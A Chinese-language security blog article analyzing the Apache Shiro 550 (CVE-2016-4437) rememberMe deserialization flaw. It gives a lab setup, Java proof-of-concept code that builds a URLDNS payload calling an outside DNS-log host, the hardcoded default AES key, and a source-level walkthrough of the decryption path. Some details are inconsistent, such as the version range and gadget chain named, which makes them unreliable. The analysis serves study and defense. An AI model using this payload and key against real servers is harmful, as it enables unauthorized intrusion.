freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

shiro 550反序列化分析
2023-09-11 15:21:36

0x00 前言

Shiro 550(CVE-2016-4437),其在护网期间担任重要的角色,也有很多的利用工具。本文将详细介绍Shiro 550漏洞原理。

0x01 漏洞环境

这里搭建一个shiro的demo站点

首先下载shiro 1.2.4源码

https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

用IDEA打开\shiro-shiro-root-1.2.4\samples\web,这个是shiro的demo站点

pox.xml

<?xml version="1.0" encoding="UTF-8"?>
<!--
  ~ Licensed to the Apache Software Foundation (ASF) under one
  ~ or more contributor license agreements.  See the NOTICE file
  ~ distributed with this work for additional information
  ~ regarding copyright ownership.  The ASF licenses this file
  ~ to you under the Apache License, Version 2.0 (the
  ~ "License"); you may not use this file except in compliance
  ~ with the License.  You may obtain a copy of the License at
  ~
  ~     http://www.apache.org/licenses/LICENSE-2.0
  ~
  ~ Unless required by applicable law or agreed to in writing,
  ~ software distributed under the License is distributed on an
  ~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
  ~ KIND, either express or implied.  See the License for the
  ~ specific language governing permissions and limitations
  ~ under the License.
  -->
<!--suppress osmorcNonOsgiMavenDependency -->
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">

    <parent>
        <groupId>org.apache.shiro.samples</groupId>
        <artifactId>shiro-samples</artifactId>
        <version>1.2.4</version>
        <relativePath>../pom.xml</relativePath>
    </parent>

    <modelVersion>4.0.0</modelVersion>
    <artifactId>samples-web</artifactId>
    <name>Apache Shiro :: Samples :: Web</name>
    <packaging>war</packaging>

    <build>
        <plugins>
            <plugin>
                <artifactId>maven-surefire-plugin</artifactId>
                <configuration>
                    <forkMode>never</forkMode>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.mortbay.jetty</groupId>
                <artifactId>maven-jetty-plugin</artifactId>
                <version>${jetty.version}</version>
                <configuration>
                    <contextPath>/</contextPath>
                    <connectors>
                        <connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
                            <port>9080</port>
                            <maxIdleTime>60000</maxIdleTime>
                        </connector>
                    </connectors>
                    <requestLog implementation="org.mortbay.jetty.NCSARequestLog">
                        <filename>./target/yyyy_mm_dd.request.log</filename>
                        <retainDays>90</retainDays>
                        <append>true</append>
                        <extended>false</extended>
                        <logTimeZone>GMT</logTimeZone>
                    </requestLog>
                </configuration>
            </plugin>
        </plugins>
    </build>

    <dependencies>
<!--        <dependency>-->
<!--            <groupId>javax.servlet</groupId>-->
<!--            <artifactId>jstl</artifactId>-->
<!--            <scope>runtime</scope>-->
<!--        </dependency>-->
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>servlet-api</artifactId>
<!--            <scope>provided</scope>-->
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-log4j12</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>log4j</groupId>
            <artifactId>log4j</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>net.sourceforge.htmlunit</groupId>
            <artifactId>htmlunit</artifactId>
            <version>2.6</version>
<!--            <scope>test</scope>-->
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.mortbay.jetty</groupId>
            <artifactId>jetty</artifactId>
            <version>${jetty.version}</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.mortbay.jetty</groupId>
            <artifactId>jsp-2.1-jetty</artifactId>
            <version>${jetty.version}</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>jcl-over-slf4j</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <!--  这里需要将jstl设置为1.2 -->
            <version>1.2</version>
            <scope>runtime</scope>
        </dependency>
<!--        <dependency>-->
<!--            <groupId>org.apache.commons</groupId>-->
<!--            <artifactId>commons-collections4</artifactId>-->
<!--            <version>4.0</version>-->
<!--        </dependency>-->
    </dependencies>

</project>

tomcat配置
1694414847169(1).jpg
项目结构
1694414922852.jpg
启动,看到以下页面即搭建成功
1694414952151.jpg

0x02 漏洞原理

为了让浏览器或服务器重启后用户不丢失登录状态,Shiro 支持将持久化信息序列化并加密后保存在 Cookie 的 rememberMe 字段中,下次读取时进行解密再反序列化。在shiro <= 1.2.24中,AES 加密算法的key是硬编码在源码中,导致攻击者一旦知道密钥,就可以构造恶意的序列化加密数据赋值到rememberMe上,从而触发反序列化漏洞
1694415018600(1).jpg

0x03 漏洞利用

shiro是给了我们一个能够反序列化的点,这里我们使用CC11来做为我们的利用链,对其进行AES加密以及base64编码
URLDNS的poc:
`package com.zyp.test;

import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class UrlDnsSerializeTest {
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("E:\JavaWeb\serialize.bin"));
oos.writeObject(obj);
}
public static Object unSerialize(File file) throws Exception {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(file));
Object o = ois.readObject();
return o;
}

public static void main(String[] args) throws Exception {
    HashMap<Object,Object> hashMap=new HashMap<>();
    URL url=new URL("http://bbb.p9seqf.ceye.io");
    //为了下面的put方法不执行URL类里面的getHostAddress方法,使用反射技术获取URL类的属性hashCode,并改变其原有值
    Class c=  url.getClass();
    //获取使用属性hashCode
    Field hashCode = c.getDeclaredField("hashCode");
    hashCode.setAccessible(true);
    //此处hashCode改为111,目的就是为了不进getHostAddress方法
    hashCode.set(url,111);
    hashMap.put(url,1);
    //hashMap执行完URL类的hashCode()后,通过反射,把URL类的hashCode值设置为-1,在反序列化时进入getHostAddress方法
    hashCode.set(url,-1);
    serialize(hashMap);

// File file=new File("E:\JavaWeb\serialize.bin");
// unSerialize(file);
}

}
生成serialize.bin文件后,需要对其进行加密以及base64编码package org.apache.shiro.test;

import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.InputStream;

public class AESencode {
public static void main(String[] args) throws Exception {
String path = "C:\Users\22893\Desktop\file\serialize.bin";
byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
AesCipherService aes = new AesCipherService();
ByteSource ciphertext = aes.encrypt(getBytes(path), key);
System.out.printf(ciphertext.toString());
}

public static byte[] getBytes(String path) throws Exception{
    InputStream inputStream = new FileInputStream(path);
    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    int n = 0;
    while ((n=inputStream.read())!=-1){
        byteArrayOutputStream.write(n);
    }
    byte[] bytes = byteArrayOutputStream.toByteArray();
    return bytes;

}

}
`
PS:base64操作在ciphertext.toString()中
1694415205453.jpg
现在可以看到输出了加密后的URLDNS payload
1694415236119.jpg
用burp发送即可弹计算器,不用登录,删除cookie中的jessionId,直接在cookie中加个rememberMe字段即可
1694415374646(1).jpg
1694415387378.jpg

0x04 漏洞分析

这个链子蛮短的,大致流程就是shiro首先获取cookie中的rememberMe字段,然后对其进行base64解密然后进行AES解密
1694415435574.jpg
首先是在AbstractRememberMeManager#getRememberedPrincipals中,将用户的上下文数据传入到getRememberedSerializedIdentity中
1694415459267(1).jpg
跟进getRememberedSerializedIdentity,首先获取request对象,然后获取用户的Cookie
1694415488812.jpg
跟进readValue,可以看到其实是获得rememberMe的值
1694415514422.jpg
回到上层,继续往下走发现对rememberMe值进行了base64解码,然后return
1694415556238.jpg
回到上一层,这里的bytes就是rememberMe的base64解码,跟进convertBytesToPrincipals方法,这个方法是进行解密的
1694415586042.jpg
继续跟进decrypt
1694415610223.jpg
可以看首先利用getDecryptionCipherKey获取解密密钥,然后利用cipherService.decrypt解密。跟进getDecryptionCipherKey看看是如何获取密钥的
1694415638728(1).jpg
直接返回了decryptionCipherKey
1694415665908.jpg
找找setdecryptionCipherKey,可以看到将decryptionCipherKey参数传给this.decryptionCipherKey
1694415712829.jpg
继续找谁调用了setDecryptionCipherKey,可以看到在setCipherKey中调用了
1694415746474.jpg
再找找谁调用了,可以看到无参构造器调用了,并且传入了常量DEFAULT_CIPHER_KEY_BYTES
1694415771537.jpg
所以说,getDecryptionCipherKey返回的结果就是DEFAULT_CIPHER_KEY_BYTES
1694415803457.jpg

捋一下流程:

AbstractRememberMeManager的构造函数中传入了 Base64解码后的密钥,然后调用了setCipherKey
setCipherKey 中调用了setDecryptionCipherKey设置了decryptionCipherKey属性
getDecryptionCipherKey 直接返回了该属性
好了回到上一层,解密密钥获得了,下一步开始解密

解密完成后会进入deserialize()方法
1694415919784.jpg
跟进deserialize()方法
1694415951615.jpg
1694415964131.jpg
继续跟进,此处触发了反序列化流程

1694416003002.jpg

本文作者:, 转载请注明来自FreeBuf.COM

# 漏洞 # 网络安全 # web安全 # 漏洞分析 # 网络安全技术
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录